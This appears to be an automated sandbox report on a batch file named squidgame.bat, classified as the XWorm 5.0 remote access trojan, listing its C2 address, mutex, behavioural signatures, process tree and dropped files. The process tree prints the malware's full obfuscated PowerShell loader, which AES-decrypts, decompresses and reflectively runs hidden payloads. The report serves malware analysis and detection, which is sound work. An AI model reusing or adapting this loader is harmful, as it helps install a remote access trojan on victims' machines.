Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/12/2024, 09:39

General

  • Target
    squidgame.bat
  • Size 416KB
  • Sample241230-lmt11atrdj
  • SHA256 452a1261931756ae0842ec453eb5f87c5d4ae47f04ec67da212e6ee1a5efa104
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 194.59.30.189:7000

Mutex
  • 2K3sy0lDHqyfVgvn

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Indicator Removal: Clear Windows Event Logs 1 TTPs 1 IoCs

    Clear Windows Event Logs to hide the activity of an intrusion.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 11 IoCs
  • Drops file in Windows directory 2 IoCs
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 59 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k DcomLaunch -p
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:776
    • C:\Windows\system32\wbem\wmiprvse.exe
      C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
      2⤵
        PID:1964
      • C:\Windows\System32\mousocoreworker.exe
        C:\Windows\System32\mousocoreworker.exe -Embedding
        2⤵
          PID:2628
        • C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe
          C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.19041.1220_none_7e21bc567c7ed16b\TiWorker.exe -Embedding
          2⤵
            PID:5072
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k RPCSS -p
          1⤵
            PID:900
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
            1⤵
              PID:952
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
              1⤵
                PID:412
              • C:\Windows\System32\svchost.exe
                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                1⤵
                  PID:1044
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
                  1⤵
                    PID:1056
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
                    1⤵
                      PID:1064
                    • C:\Windows\System32\svchost.exe
                      C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
                      1⤵
                        PID:1072
                      • C:\Windows\System32\svchost.exe
                        C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
                        1⤵
                        • Indicator Removal: Clear Windows Event Logs
                        PID:1180
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
                        1⤵
                        • Drops file in System32 directory
                        PID:1220
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
                        1⤵
                          PID:1252
                        • C:\Windows\system32\svchost.exe
                          C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
                          1⤵
                            PID:1308
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
                            1⤵
                              PID:1408
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
                              1⤵
                                PID:1424
                              • C:\Windows\system32\svchost.exe
                                C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
                                1⤵
                                  PID:1440
                                • C:\Windows\system32\svchost.exe
                                  C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
                                  1⤵
                                    PID:1480
                                  • C:\Windows\System32\svchost.exe
                                    C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
                                    1⤵
                                      PID:1492
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
                                      1⤵
                                        PID:1624
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
                                        1⤵
                                          PID:1668
                                        • C:\Windows\System32\svchost.exe
                                          C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
                                          1⤵
                                            PID:1704
                                          • C:\Windows\System32\svchost.exe
                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                            1⤵
                                              PID:1804
                                            • C:\Windows\System32\svchost.exe
                                              C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
                                              1⤵
                                                PID:1820
                                              • C:\Windows\system32\svchost.exe
                                                C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
                                                1⤵
                                                  PID:1948
                                                • C:\Windows\System32\svchost.exe
                                                  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
                                                  1⤵
                                                    PID:1956
                                                  • C:\Windows\system32\svchost.exe
                                                    C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
                                                    1⤵
                                                      PID:1980
                                                    • C:\Windows\System32\svchost.exe
                                                      C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
                                                      1⤵
                                                        PID:1400
                                                      • C:\Windows\system32\svchost.exe
                                                        C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
                                                        1⤵
                                                          PID:2156
                                                        • C:\Windows\system32\svchost.exe
                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
                                                          1⤵
                                                          • Suspicious use of AdjustPrivilegeToken
                                                          PID:2176
                                                        • C:\Windows\System32\svchost.exe
                                                          C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
                                                          1⤵
                                                            PID:2208
                                                          • C:\Windows\System32\svchost.exe
                                                            C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
                                                            1⤵
                                                              PID:2364
                                                            • C:\Windows\system32\svchost.exe
                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
                                                              1⤵
                                                                PID:2528
                                                              • C:\Windows\system32\svchost.exe
                                                                C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
                                                                1⤵
                                                                  PID:2536
                                                                • C:\Windows\system32\svchost.exe
                                                                  C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
                                                                  1⤵
                                                                    PID:2680
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
                                                                    1⤵
                                                                    • Drops file in System32 directory
                                                                    PID:2740
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
                                                                    1⤵
                                                                    • Enumerates connected drives
                                                                    PID:2800
                                                                  • C:\Windows\system32\svchost.exe
                                                                    C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
                                                                    1⤵
                                                                      PID:2852
                                                                    • C:\Windows\System32\svchost.exe
                                                                      C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
                                                                      1⤵
                                                                        PID:2868
                                                                      • C:\Windows\system32\svchost.exe
                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
                                                                        1⤵
                                                                          PID:3052
                                                                        • C:\Windows\system32\svchost.exe
                                                                          C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
                                                                          1⤵
                                                                            PID:3352
                                                                          • C:\Windows\Explorer.EXE
                                                                            C:\Windows\Explorer.EXE
                                                                            1⤵
                                                                              PID:3456
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\squidgame.bat"
                                                                                2⤵
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:4904
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('H4uwzEUwJnnP5KgpRLxiypAKBGllyCutGnT3BiE7kDM='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('AvW2iw+mMsQ1UJjaPehqPQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GfqOc=New-Object System.IO.MemoryStream(,$param_var); $ysPxH=New-Object System.IO.MemoryStream; $BeNHG=New-Object System.IO.Compression.GZipStream($GfqOc, [IO.Compression.CompressionMode]::Decompress); $BeNHG.CopyTo($ysPxH); $BeNHG.Dispose(); $GfqOc.Dispose(); $ysPxH.Dispose(); $ysPxH.ToArray();}function execute_function($param_var,$param2_var){ $EsiTV=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RLefY=$EsiTV.EntryPoint; $RLefY.Invoke($null, $param2_var);}$tKnAM = 'C:\Users\Admin\AppData\Local\Temp\squidgame.bat';$host.UI.RawUI.WindowTitle = $tKnAM;$SQIhp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($tKnAM).Split([Environment]::NewLine);foreach ($YyNZM in $SQIhp) { if ($YyNZM.StartsWith('ZGjtHFMHBnSGoeGZXnsU')) { $oedEX=$YyNZM.Substring(20); break; }}$payloads_var=[string[]]$oedEX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                                                                                  3⤵
                                                                                    PID:4776
                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                                                                                    3⤵
                                                                                    • Blocklisted process makes network request
                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                    • Suspicious use of WriteProcessMemory
                                                                                    PID:4300
                                                                              • C:\Windows\system32\svchost.exe
                                                                                C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                1⤵
                                                                                  PID:3596
                                                                                • C:\Windows\system32\svchost.exe
                                                                                  C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                  1⤵
                                                                                  • Modifies data under HKEY_USERS
                                                                                  PID:3000
                                                                                • C:\Windows\System32\svchost.exe
                                                                                  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                  1⤵
                                                                                    PID:4924
                                                                                  • C:\Windows\system32\svchost.exe
                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                    1⤵
                                                                                      PID:540
                                                                                    • C:\Windows\system32\svchost.exe
                                                                                      C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                      1⤵
                                                                                      • Modifies data under HKEY_USERS
                                                                                      PID:3932
                                                                                    • C:\Windows\System32\svchost.exe
                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                      1⤵
                                                                                        PID:2552
                                                                                      • C:\Windows\system32\svchost.exe
                                                                                        C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                                        1⤵
                                                                                          PID:4328
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
                                                                                          1⤵
                                                                                          • Drops file in Windows directory
                                                                                          PID:3080
                                                                                        • C:\Windows\system32\svchost.exe
                                                                                          C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
                                                                                          1⤵
                                                                                            PID:1996

                                                                                          Network

                                                                                                MITRE ATT&CK Enterprise v15

                                                                                                Replay Monitor

                                                                                                Loading Replay Monitor...

                                                                                                Downloads

                                                                                                __PSScriptPolicyTest_u5vash4d.2tx.ps1

                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u5vash4d.2tx.ps1
                                                                                                • Size 60B
                                                                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                • MD5 SHA1 SHA512

                                                                                                Schedule Maintenance Work

                                                                                                • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                • Size 2KB
                                                                                                • SHA256 ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
                                                                                                • MD5 SHA1 SHA512

                                                                                                Schedule Maintenance Work

                                                                                                • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Maintenance Work
                                                                                                • Size 2KB
                                                                                                • SHA256 129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
                                                                                                • MD5 SHA1 SHA512

                                                                                                Schedule Wake To Work

                                                                                                • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                • Size 2KB
                                                                                                • SHA256 98c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
                                                                                                • MD5 SHA1 SHA512

                                                                                                Schedule Wake To Work

                                                                                                • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work
                                                                                                • Size 2KB
                                                                                                • SHA256 727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
                                                                                                • MD5 SHA1 SHA512

                                                                                                Schedule Work

                                                                                                • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                • Size 2KB
                                                                                                • SHA256 55f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
                                                                                                • MD5 SHA1 SHA512

                                                                                                Schedule Work

                                                                                                • Path C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Work
                                                                                                • Size 2KB
                                                                                                • SHA256 a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
                                                                                                • MD5 SHA1 SHA512

                                                                                                memory/412-75-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/776-77-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1072-69-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1180-71-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1400-70-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1480-74-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1492-73-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1668-66-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1704-72-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1948-67-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1956-78-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/1980-76-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/2740-79-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/3052-81-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/3352-80-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/3456-65-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp

                                                                                                memory/3456-18-0x0000000002860000-0x000000000288A000-memory.dmp

                                                                                                memory/4300-0-0x00007FFBAC493000-0x00007FFBAC495000-memory.dmp

                                                                                                memory/4300-117-0x00007FFBBC173000-0x00007FFBBC174000-memory.dmp

                                                                                                memory/4300-16-0x0000010D70880000-0x0000010D708C8000-memory.dmp

                                                                                                memory/4300-17-0x0000010D70660000-0x0000010D70670000-memory.dmp

                                                                                                memory/4300-112-0x00007FFBAC493000-0x00007FFBAC495000-memory.dmp

                                                                                                memory/4300-113-0x00007FFBAC490000-0x00007FFBACF51000-memory.dmp

                                                                                                memory/4300-114-0x00007FFBAC490000-0x00007FFBACF51000-memory.dmp

                                                                                                memory/4300-6-0x0000010D701C0000-0x0000010D701E2000-memory.dmp

                                                                                                memory/4300-15-0x0000010D70200000-0x0000010D70208000-memory.dmp

                                                                                                memory/4300-14-0x0000010D709A0000-0x0000010D70A16000-memory.dmp

                                                                                                memory/4300-13-0x0000010D708D0000-0x0000010D70914000-memory.dmp

                                                                                                memory/4300-12-0x00007FFBAC490000-0x00007FFBACF51000-memory.dmp

                                                                                                memory/4300-11-0x00007FFBAC490000-0x00007FFBACF51000-memory.dmp

                                                                                                memory/4924-68-0x00007FFB8A590000-0x00007FFB8A5A0000-memory.dmp